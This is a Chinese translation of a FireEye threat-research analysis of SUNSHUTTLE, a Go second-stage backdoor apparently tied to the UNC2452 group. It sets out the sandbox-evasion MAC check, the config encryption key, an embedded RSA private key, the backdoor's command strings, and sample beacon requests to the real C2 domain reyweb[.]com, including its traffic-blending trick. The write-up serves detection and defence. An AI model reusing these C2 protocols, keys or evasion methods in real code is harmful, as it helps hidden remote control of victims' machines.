融合流量以逃避检测:SUNSHUTTLE第二阶段后门样本分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

融合流量以逃避检测:SUNSHUTTLE第二阶段后门样本分析

41yf1sh 资讯 2021-04-02 10:02:29
263988
收藏

导语:SUNSHUTTLE使用GO语言编写,支持远程上传配置、文件上传、文件下载、任意命令执行等功能。

0x00 摘要

2020年8月,一家位于美国的实体将一个名为SUNSHUTTLE的新型后门上传到了公共恶意软件存储库。

SUNSHUTTLE是使用GoLang编写的第二阶段后门,包含一些逃避检测的功能。

我们在遭到UNC2452恶意组织入侵的受害者主机上观察到SUNSHUTTLE的存在,因此有迹象表明该恶意软件与UNC2452相关,但我们目前尚未验证该关联性。

在本文附录中包含关于MITER ATT&CK的技术(T1027、T1027.002、T1059.003、T1071.001、T1105、T1140、T1573.001)。

Microsoft在此前的一篇文章中也详细分析了这一系列恶意活动。在这里,我们要感谢Microsoft团队和其他合作伙伴在追踪这一恶意组织期间的出色合作。

0x01 威胁详情

Mandiant Threat Intelligence发现了一个新的后门程序,该后门程序由一家美国实体在2020年8月上传到公共恶意软件存储库,我们将其命名为SUNSHUTTLE。SUNSHUTTLE使用GO语言编写,可读取嵌入式或本地配置文件,并通过HTTPS与硬编码的命令与控制(C2)服务器通信,支持包括远程上传配置、文件上传、文件下载、任意命令执行在内的命令。值得注意的是,SUNSHUTTLE使用Cookie标头将值传递给C2,如果进行了相应配置,则可以从流行网站URL列表中选择来源网址,以实现与网络流量的“融合”。

通过检查SUNSHUTTLE后门文件“Lexicon.exe”(MD5:9466c865f7498a35e4e1a8f48ef1dffd),发现它是使用GoLang编写的。该文件脱壳后的MD5为86e89349fefcbdd9d2c80ca30fa85511。目前我们尚不清楚SUNSHUTTLE最初的感染媒介。该恶意软件是攻陷受害者后投递的第二阶段后门工具。

SUNSHUTTLE样本使用攻击者控制的站点“reyweb[.]com”作为C2。“reyweb[.]com”是通过NameSilo匿名注册的,这家域名提供商接受比特币付款,此前曾经被具有俄罗斯、伊朗等国家背景的APT组织用于C2域名注册。

我们在遭到UNC2452攻击的受害者主机上发现了SUNSHUTTLE,并且有迹象表明该恶意软件与UNC2452相关联,但是我们目前尚未证实该关联性。

0x02 展望与启示

新的SUNSHUTTLE后门是一个复杂的第二阶段后门,其中与C2通信的“融合”流量功能展现了一种简单而优雅的逃避检测技术。

SUNSHUTTLE将作为第二阶段的后门程序,与其他SUNBURST相关工具一起实现网络侦查的功能。

0x03 样本详情

Mandiant Threat Intelligence发现了一个SUNSHUTTLE后门样本,并将其上传到在线多重反病毒扫描服务。SUNSHUTTLE是使用GO语言编写的后门,可读取嵌入式或本地配置文件,并通过HTTPS与硬编码的命令与控制(C2)服务器通信,支持包括远程上传配置、文件上传、文件下载、任意命令执行在内的命令。

Lexicon.exe(MD5:9466c865f7498a35e4e1a8f48ef1dffd)

C2:reyweb[.]com

UNAVAILABLE(MD5:86e89349fefcbdd9d2c80ca30fa85511)

脱壳版本MD5:9466c865f7498a35e4e1a8f48ef1dffd

0x04 感染媒介

针对分析的样本,目前感染媒介尚未明确。

0x05 执行

5.1 执行摘要

SUNSHUTTLE是一个使用GoLang编写的后门程序。一旦SUNSHUTTLE被执行,将会进行以下操作:

1、确定配置设置;

2、向C2请求会话密钥;

3、从C2检索会话密钥;

4、在检索到会话密钥后,SUNSHUTTLE将开始循环请求信标的命令;

5、开始请求信标的命令;

6、解析命令并执行操作。

我们所分析的SUNSHUTTLE样本中,保留了该恶意软件使用的例程的名称,其中包括:


main.request_session_key
main.define_internal_settings
main.send_file_part
main.clean_file
main.send_command_result
main.retrieve_session_key
main.save_internal_settings
main.resolve_command
main.write_file
main.beaconing
main.wget_file
main.fileExists
main.encrypt
main.decrypt
main.random
main.removeBase64Padding
main.addBase64Padding
main.delete_empty
main.Unpad
main.GetMD5Hash
main.Pad

注意:在整个SUNSHUTTLE后门中,通过在Cookie标头中使用唯一的字符串标识符来指示正在执行的操作。同时,唯一的字符串标识符也用于验证和解析来自C2的响应内容。我们发现这些唯一的字符串值在每个编译样本中都是唯一且随机的。

5.2 初始执行

一旦执行后,SUNSHUTTLE后门就会枚举受害者的MAC地址,并将其与硬编码的MAC地址值“c8:27:cc:c2:37:5a”进行比较。如果找到匹配项,后门即退出。该MAC地址可能是Windows沙箱网络适配器的默认MAC地址。

MAC地址检查:

1.png

5.3 配置

如果检查通过,则SUNSHUTTLE后门会进入到一个名为“main_define_internal_settings”的例程,该例程将判断运行SUNSHUTTLE的目录中是否存在配置文件,如果不存在则创建该文件。在我们所分析的样本中,配置文件名是“config.dat.tmp”。使用以下密钥对配置数据进行Base64编码和AES-256加密:

hz8l2fnpvp71ujfy8rht6b0smouvp9k8

在对Base64进行解码、对AES进行解密后,样本的配置文件内容如下:

48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w

在配置中,使用“|”字符进行不同值的区分,简要描述如下。

48b9e25491e088a35105274cae0b9e67

执行期间计算出当前时间戳的MD5哈希值。

5-15

SUNSHUTTLE执行期间随机睡眠时间的最小值和最大值。

0

是否使用“融合”流量请求,内部将其称为“false_requesting”。

0

激活(activation)执行时间戳(默认为0),如果当前时间大于配置中的值,则执行“激活”或继续。

TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
8vMjAxMDAxMDEgRmlyZWZveC83NS4w

HTTP请求中使用Base64编码后的User Agent,解码后内容为:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 。

如果进行了相应配置,则在恶意软件执行过程中会利用以下URL实现流量“融合”:

https://reyweb[.]com/icon.ico
https://reyweb[.]com/icon.png
https://reyweb[.]com/script.js
https://reyweb[.]com/style.css
https://reyweb[.]com/css/style.css
https://reyweb[.]com/css/bootstrap.css
https://reyweb[.]com/scripts/jquery.js
https://reyweb[.]com/scripts/bootstrap.js
https://cdn.mxpnl[.]com/
https://cdn.google[.]com/
https://cdn.jquery[.]com/
https://code.jquery[.]com/
https://cdn.cloudflare[.]com/

5.4 会话密钥机制

SUNSHUTTLE执行对C2的初始请求,以请求并检索其内部称为“会话密钥”(Session Key)的内容。在从C2检索到会话密钥后,使用嵌入在SUNSHUTTLE中的以下私钥进行RSA解密,该密钥针对每个编译版本来说都是唯一的。我们正在分析该恶意软件如何利用解密后得到的会话密钥,不过在SUNSHUTTLE的命令与控制例程中,该密钥很可能是用于加密内容的会话密钥。

-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
-----END PRIVATE KEY---

在创建配置或从中读取配置后,SUNSHUTTLE将进入到名为“main_request_session_key”的例程。恶意软件将在这一例程上进行循环,每次循环后休眠一段时间,直到成功为止。

在“main_request_session_key”例程中,SUNSHUTTLE为其构造的C2构造一个HTTPS请求。根据请求的HTTP 200响应,预期来自C2的响应数据中不应包含以下字符串:

ywQdjLuHHC

如果该字符串不在响应中,则request_session_key例程返回1。如果该字符串包含在响应之中,则返回-1。如果request_session_key的结果为1,则SUNSHUTTLE将执行retrieve_session_key例程。

retrieve_session_key例程将再次与C2通信,并下载特定加密内容,使用上述嵌入的私钥进行解密。一旦SUNSHUTTLE进入到命令与控制例程,解密的内容很可能是用于加密内容的会话密钥。

5.5 命令

在从C2检索到会话密钥后,SUNSHUTTLE将在循环中启动信标和“resolve_command”例程。SUNSHUTTLE首先发出信标以检索命令。随后,它将进入到例程“resolve_command”之中,该例程将解析响应内容,从而确定应该运行哪个命令。可以使用的命令包括远程更新配置、上传、下载和任意命令执行。

解析命令示意图:

2.png

在“main_beaconing”例程之后,会对从C2返回的内容进行Base64解码和AES解密。这里会执行一次检查,以确认解密后的内容不包含以下字符串:

Cp5RTQ31R1

同之前的一样,这些字符串可能针对每个样本都是唯一的,并且在编译时会随机生成。

解密后的字符串内容及解析如下:

zSsP2TSJJm3a    更新睡眠时间范围并保存配置

aQJmWJzXdYK721mGBI3U    更新“false_requesting”(融合)值并保存配置

W5VYP9Iu2uyHK    更新C2 URL和用户代理并保存配置

3487wD9t2OZkvqdwRpqPeE    将当前时间戳发送到C2

ubFxROBRwfswVRWNjLC    更新配置中的“activation”时间戳并保存配置

TMuhGdA9EHY    如果文件存在,将其上传到C2

1kG4NaRX83BCMgLo38Bjq    执行命令,如果成功则返回“EXECED”

hB0upT6CUmdRaR2KVBvxrJ    执行命令,返回结果或输出

N/A(符合其他字符串条件)    提供终端命令执行

N/A(符合其他字符串条件)    从C2下载文件

0x06 投放文件

在成功执行恶意软件后,会将以下文件投递到受害者的系统中:

该文件是加密后的配置文件。

0x07 持久化方法

我们未观察到SUNSHUTTLE恶意软件具有任何持久化方法。不排除该恶意活动是在SUNSHUTTLE外部设置持久性的。

0x08 网络通信

SUNSHUTTLE使用Cookie标头将值传递给C2。此外,恶意软件会从下面的列表中选择一个来源地址。在我们解密流量并进行检查时,可能会被混淆。

www.bing.com

www.yahoo.com

www.google.com

www.facebook.com

Cookie标头根据所执行的操作而略有不同。下面是从“request_session_key”例程向C2发出的示例请求。

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip

在Cookie标头中,其不同值含义如下。

HjELmFxKJc=48b9e25491e088a35105274cae0b9e67

配置中包含的时间戳MD5。

P5hCrabkKf=gZLXIeKI

“P5hCrabkKf=”包含一个唯一的字符串,该字符串表示正在执行请求的例程(详细参考下表)。

iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx

“i4zICToyI70Yeidf1f7rWjm5foKX2Usx”是在SUNSHUTTLE后门中硬编码的值,它可能表示Payload标识符。

b7XCoFSvs1YRW=78

含义不明,此值仅包含在request_session_key和retrieve_session_key请求中。

如上所述,每个请求中包含的Cookie值“P5hCrabkKf=”都表示正在执行的操作,其对应关系如下。

gZLXIeK    main_request_session_key

do1KiqzhQ    main_clean_file

t5UITQ2PdFg5    main_wget_file

cIHiqD5p4da6OeB    main_retrieve_session_key

xpjQVt3bJzWuv    main_send_file_part

S4rgG1WifHU    main_send_command_result

在成功安装/初始化恶意软件后,它将继续通过TCP/443 HTTPS对C2服务器reyweb[.]com进行以下回调:

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.yahoo.com
Accept-Encoding: gzip

此外,如果将“fake_requesting”配置值设置为1,则SUNSHUTTLE将生成与真实流量相融合的流量。这些请求的示例如下:

(受害者主机到C2)

GET /icon.png HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到合法站点)

GET / HTTP/1.1
Host: cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip

0x09 附录:MITRE ATT&CK框架

T1027 混淆的文件或信息

T1027.002 软件加壳

T1059.003 Windows命令Shell

T1071.001 网络协议

T1105 入口工具转移

T1140 反混淆/解码文件或信息

T1573.001 对称密码学

0x0A 附录:检测技术

FireEye安全解决方案可以提供跨电子邮件、终端和网络级别的SUNSHUTTLE恶意活动检测。以下是与恶意软件相关的检测指标。

· 平台:网络安全、邮件安全、实时检测、恶意软件文件扫描、恶意软件文件存储扫描

· 检测名称:

FE_APT_Backdoor_Win64_SUNSHUTTLE_1

FE_APT_Backdoor_Win_SUNSHUTTLE_1

APT.Backdoor.Win.SUNSHUTTLE

APT.Backdoor.Win.SUNSHUTTLE.MVX

· 平台:终端安全

· 检测名称:

恶意软件防护(AV/MG)

Trojan.GenericKD.34453763

Generic.mg.9466c865f7498a35

本文翻译自:https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务